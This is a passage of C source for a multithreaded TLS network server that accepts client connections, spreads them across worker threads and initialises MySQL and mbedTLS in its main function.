					sync_perror("*** poll()@client_thread_tick()");
				}
				abort();
			}
			return;
		}
	}

	// serve
	pfd_ptr = 0;
	for (prne_llist_entry_t *e = ctx->c_list.head; e != NULL; pfd_ptr += 1) {
		client_ctx_t *c = (client_ctx_t*)e->element;

		switch (c->con_state) {
		case CS_PROC:
		case CS_SHUT:
			break;
		default:
			e = e->next;
			continue;
		}

		f_ret = serve_client(ctx, c, now, ctx->pfd[pfd_ptr].revents);

		if (f_ret < 0) {
			e = pop_client_ctx(ctx, e);
		}
		else {
			e = e->next;
		}
	}
}

static void do_take_client (th_ctx_t *ctx) {
	for (prne_llist_entry_t *e = ctx->p_list.head;
		e != NULL;
		e = e->next)
	{
		client_ctx_t *c = (client_ctx_t*)e->element;

		errno = 0;
// TRY
		if (!prne_alloc_iobuf(c->ib + 0, PRNE_HTBT_PROTO_MIN_BUF)) {
			goto ERR;
		}

		if (mbedtls_ssl_setup(&c->ssl, &prog_g.ssl.conf) != 0) {
			goto ERR;
		}
		mbedtls_ssl_set_bio(
			&c->ssl,
			&c->sck,
			prne_mbedtls_ssl_send_cb,
			prne_mbedtls_ssl_recv_cb,
			NULL);

		if (prne_llist_append(&ctx->c_list, e->element) == NULL) {
			goto ERR;
		}

		continue;
ERR: // CATCH
		if (prog_conf.verbose >= PRNE_VL_ERR) {
			sync_perror("** do_take_client()");
		}
		free_client_ctx(c);
		incre_conn_ctr(-1);
	}
	prne_llist_clear(&ctx->p_list);
}

static void *client_thread_main (void *ctx_p) {
	th_ctx_t *ctx = (th_ctx_t*)ctx_p;

	if (prog_conf.verbose >= PRNE_VL_DBG0) {
		pthread_mutex_lock(&prog_g.stdio_lock);
		fprintf(
			stderr,
			"c_th@%"PRIxPTR": Loop start.\n",
			(uintptr_t)ctx);
		pthread_mutex_unlock(&prog_g.stdio_lock);
	}

	while (true) {
		pthread_mutex_lock(&ctx->lock);
		while (read(ctx->ihcp[0], &sewage, 1) == 1);
		do_take_client(ctx);
		if (ctx->term && ctx->c_list.size == 0) {
			pthread_mutex_unlock(&ctx->lock);
			break;
		}
		pthread_mutex_unlock(&ctx->lock);

		if (!resize_pfd_arr(ctx, ctx->c_list.size + 1)) {
			if (prog_conf.verbose >= PRNE_VL_FATAL) {
				sync_perror("*** resize_pfd_arr()");
			}
			abort();
		}

		client_thread_tick(ctx);
	}

	if (prog_conf.verbose >= PRNE_VL_DBG0) {
		pthread_mutex_lock(&prog_g.stdio_lock);
		fprintf(
			stderr,
			"c_th@%"PRIxPTR": Loop end.\n",
			(uintptr_t)ctx);
		pthread_mutex_unlock(&prog_g.stdio_lock);
	}

	mysql_thread_end();

	return NULL;
}

static int init_threads (
	const size_t in_cnt,
	th_ctx_t **out_arr)
{
	uint8_t seed[PRNE_RND_WELL512_SEEDLEN];
	th_ctx_t *arr = (th_ctx_t*)prne_calloc(sizeof(th_ctx_t), in_cnt);

	if (arr == NULL) {
		return 1;
	}

	if ((errno = pthread_create(
		&prog_g.db_ctx.th,
		NULL,
		db_thread_main,
		&prog_g.db_ctx)) != 0)
	{
		return 1;
	}

	for (size_t i = 0; i < in_cnt; i += 1) {
		th_ctx_t *th_ctx = arr + i;

		if (pipe(th_ctx->ihcp) != 0 ||
			!prne_sck_fcntl(th_ctx->ihcp[0]) ||
			!prne_sck_fcntl(th_ctx->ihcp[1]))
		{
			return 1;
		}

		if (mbedtls_ctr_drbg_random(
			&prog_g.ssl.ctr_drbg,
			seed,
			sizeof(seed)) != 0)
		{
			return 1;
		}

		if ((errno = pthread_mutex_init(&th_ctx->lock, NULL)) != 0) {
			return 1;
		}
		prne_init_rnd(&th_ctx->rnd);
		prne_init_llist(&th_ctx->p_list);
		prne_init_llist(&th_ctx->c_list);

		if (!prne_rnd_alloc_well512(&th_ctx->rnd, seed)) {
			return 1;
		}
		if ((errno = pthread_create(
			&th_ctx->th,
			NULL,
			client_thread_main,
			th_ctx)) != 0)
		{
			return 1;
		}
	}

	*out_arr = arr;
	return 0;
}

static void join_threads (th_ctx_t **arr, const size_t cnt) {
	for (size_t i = 0; i < cnt; i += 1) {
		th_ctx_t *ctx = *arr + i;

		pthread_mutex_lock(&ctx->lock);
		ctx->term = true;
		write(ctx->ihcp[1], &sewage, 1);
		pthread_mutex_unlock(&ctx->lock);
	}
	for (size_t i = 0; i < cnt; i += 1) {
		th_ctx_t *ctx = *arr + i;

		pthread_join(ctx->th, NULL);
		pthread_mutex_destroy(&ctx->lock);
		prne_free(ctx->pfd);
		prne_free_llist(&ctx->p_list);
		prne_free_llist(&ctx->c_list);
		prne_free_rnd(&ctx->rnd);
	}
	prne_free(*arr);
	*arr = NULL;

	pthread_mutex_lock(&prog_g.db_ctx.lock);
	prog_g.db_ctx.term = true;
	pthread_cond_broadcast(&prog_g.db_ctx.cv);
	pthread_mutex_unlock(&prog_g.db_ctx.lock);
	pthread_join(prog_g.db_ctx.th, NULL);
}

static void pass_client_conn (
	th_ctx_t *th_arr,
	const size_t th_cnt,
	int fd,
	const struct sockaddr_in6 *sa)
{
	client_ctx_t *c_ctx = NULL;
	th_ctx_t *c_th_ctx;
	pthread_mutex_t *lock = NULL;

// TRY
	if (prog_g.conn_ctr.cnt >= prog_conf.max_conn) {
		if (prog_conf.verbose >= PRNE_VL_WARN) {
			static struct timespec last_max_conn_report;
			struct timespec d, now;

// since CLOCK_MONOTONIC could be either program start or system start
			now = prne_add_timespec(
				prne_gettime(CLOCK_MONOTONIC),
				prog_conf.report_int);

			d = prne_sub_timespec(
				now,
				last_max_conn_report);
			if (prne_cmp_timespec(d, prog_conf.report_int) > 0) {
				pthread_mutex_lock(&prog_g.stdio_lock);
				fprintf(
					stderr,
					"* Max connections reached! Dropping connection.\n");
				pthread_mutex_unlock(&prog_g.stdio_lock);

				last_max_conn_report = now;
			}
		}
		goto END;
	}

	c_ctx = prne_calloc(sizeof(client_ctx_t), 1);
	if (c_ctx == NULL) {
		if (prog_conf.verbose >= PRNE_VL_ERR) {
			sync_perror("** pass_client_conn()");
		}
		goto END;
	}
	c_ctx->last_op = prne_gettime(CLOCK_MONOTONIC);
	prne_init_iobuf(c_ctx->ib + 0);
	prne_init_iobuf(c_ctx->ib + 1);
	c_ctx->sck = fd;
	fd = -1;
	c_ctx->sa = *sa;
	inet_ntop(
		AF_INET6,
		&sa->sin6_addr,
		c_ctx->ipaddr_str,
		sizeof(c_ctx->ipaddr_str));
	mbedtls_ssl_init(&c_ctx->ssl);

	// find the least busy thread
	c_th_ctx = th_arr;
	for (size_t i = 1; i < th_cnt; i += 1) {
		th_ctx_t *th_ctx = th_arr + i;

		if (c_th_ctx->c_list.size + c_th_ctx->p_list.size >
			th_ctx->c_list.size + th_ctx->p_list.size)
		{
			c_th_ctx = th_ctx;
		}
	}

	pthread_mutex_lock(&c_th_ctx->lock);
	lock = &c_th_ctx->lock;

	if (prne_llist_append(
		&c_th_ctx->p_list,
		(prne_llist_element_t)c_ctx) == NULL)
	{
		goto END;
	}
	write(c_th_ctx->ihcp[1], &sewage, 1);
	incre_conn_ctr(1);

	if (prog_conf.verbose >= PRNE_VL_DBG0) {
		pthread_mutex_lock(&prog_g.stdio_lock);
		fprintf(
			stderr,
			"New client from [%s]:%"PRIu16" "
			"client@%"PRIxPTR", c_th@%"PRIxPTR", fd:%d\n",
			c_ctx->ipaddr_str,
			ntohs(sa->sin6_port),
			(uintptr_t)c_ctx,
			(uintptr_t)c_th_ctx,
			c_ctx->sck);
		pthread_mutex_unlock(&prog_g.stdio_lock);
	}

	c_ctx = NULL;
END: // CATCH
	if (lock != NULL) {
		pthread_mutex_unlock(lock);
	}
	prne_close(fd);
	if (c_ctx != NULL) {
		free_client_ctx(c_ctx);
		prne_free(c_ctx);
	}
}

int main (const int argc, const char **args) {
	int ret = 0;
	int fd = -1, f_ret;
	struct sockaddr_in6 sa;
	socklen_t sl;
	th_ctx_t *th_arr = NULL;
	size_t th_cnt = 0;
	struct pollfd pfd[2];

	if (argc < 2) {
		print_help(args[0], stderr);
		return 2;
	}

	if (mysql_library_init(0, NULL, NULL)) {
		fprintf(stderr, "*** mysql_library_init() failed!\n");
		return 1;
	}
	if (!mysql_thread_safe()) {
		fprintf(stderr, "*** mysql_thread_safe() returned false!\n");
		return 1;
	}

	mysql_init(&prog_g.db_ctx.c);
	prne_init_llist(&prog_g.db_ctx.q);
	mbedtls_x509_crt_init(&prog_g.ssl.ca);
	mbedtls_x509_crt_init(&prog_g.ssl.crt);
	mbedtls_pk_init(&prog_g.ssl.key);
	mbedtls_dhm_init(&prog_g.ssl.dh);
	mbedtls_ssl_config_init(&prog_g.ssl.conf);
	mbedtls_entropy_init(&prog_g.ssl.entropy);
	mbedtls_ctr_drbg_init(&prog_g.ssl.ctr_drbg);

	if ((errno = pthread_mutex_init(&prog_g.db_ctx.lock, NULL)) != 0 ||
		(errno = pthread_mutex_init(&prog_g.stdio_lock, NULL)) != 0 ||
		(errno = pthread_mutex_init(&prog_g.conn_ctr.lock, NULL)) != 0 ||
		(errno = pthread_mutex_init(&prog_g.db_ctx.lock, NULL)) != 0 ||
		(errno = pthread_cond_init(&prog_g.db_ctx.cv, NULL)) != 0)
	{
		if (prog_conf.verbose >= PRNE_VL_FATAL) {
			perror("*** pthread_mutex_init()");
		}
		abort();
	}

	if ((ret = setup_conf(args[1])) != 0 ||
		(ret = init_global()) != 0)
	{
		return 1;
	}
	init_signals();


	fd = prep_socket();
	if (fd < 0) {
		if (prog_conf.verbose >= PRNE_VL_FATAL) {
			perror("*** prep_socket()");
		}
		ret = 1;
		return 1;
	}

	if ((ret = init_threads(prog_conf.nb_thread, &th_arr)) != 0) {
		if (prog_conf.verbose >= PRNE_VL_FATAL) {
			perror("*** init_threads()");
		}
		return 1;
	}
	th_cnt = prog_conf.nb_thread;

	if (prog_conf.verbose >= PRNE_VL_DBG0) {
		pthread_mutex_lock(&prog_g.stdio_lock);
		fprintf(stderr, "Initialisation complete. Servicing ...\n");
		pthread_mutex_unlock(&prog_g.stdio_lock);
	}

	pfd[0].fd = fd;
	pfd[0].events = POLLIN;
	pfd[1].fd = sigpipe[0];
	pfd[1].events = POLLIN;
	while (true) {
		f_ret = poll(pfd, 2, -1);
		if (f_ret < 0) {
			if (errno == EINTR) {
				continue;
			}
			abort();
		}

		if (pfd[1].revents) {
			break;
		}
		if (pfd[0].revents == 0) {
			continue;
		}

		sl = sizeof(sa);
		f_ret = accept(fd, (struct sockaddr*)&sa, &sl);
		if (f_ret >= 0) {
			if (!prne_sck_fcntl(f_ret)) {
				if (prog_conf.verbose >= PRNE_VL_FATAL) {
					sync_perror("*** prne_sck_fcntl()");
				}
				abort();
			}
			pass_client_conn(th_arr, th_cnt, f_ret, &sa);
		}
		else if (prog_conf.verbose >= PRNE_VL_WARN) {
			sync_perror("accept()");
		}
	}

	if (prog_conf.verbose >= PRNE_VL_DBG0) {
		pthread_mutex_lock(&prog_g.stdio_lock);
		fprintf(stderr, "Loop end. Joining threads ...\n");
		pthread_mutex_unlock(&prog_g.stdio_lock);
	}
	join_threads(&th_arr, th_cnt);

	if (prog_conf.verbose >= PRNE_VL_DBG0) {
		pthread_mutex_lock(&prog_g.stdio_lock);
		fprintf(stderr, "Freeing resources ...\n");
		pthread_mutex_unlock(&prog_g.stdio_lock);
	}

	prne_close(fd);

	mysql_close(&prog_g.db_ctx.c);
	pthread_mutex_destroy(&prog_g.db_ctx.lock);
	pthread_mutex_destroy(&prog_g.conn_ctr.lock);
	pthread_mutex_destroy(&prog_g.stdio_lock);
	pthread_mutex_destroy(&prog_g.db_ctx.lock);
	pthread_cond_destroy(&prog_g.db_ctx.cv);
	mbedtls_ssl_config_free(&prog_g.ssl.conf);
	mbedtls_x509_crt_free(&prog_g.ssl.ca);
	mbedtls_x509_crt_free(&prog_g.ssl.crt);
	mbedtls_pk_free(&prog_g.ssl.key);
	mbedtls_dhm_free(&prog_g.ssl.dh);
	mbedtls_ctr_drbg_free(&prog_g.ssl.ctr_drbg);
	mbedtls_entropy_free(&prog_g.ssl.entropy);
	prne_free_llist(&prog_g.db_ctx.q);

	free_conf();
	prne_close(sigpipe[0]);
	prne_close(sigpipe[1]);

	mysql_library_end();

	return ret;
}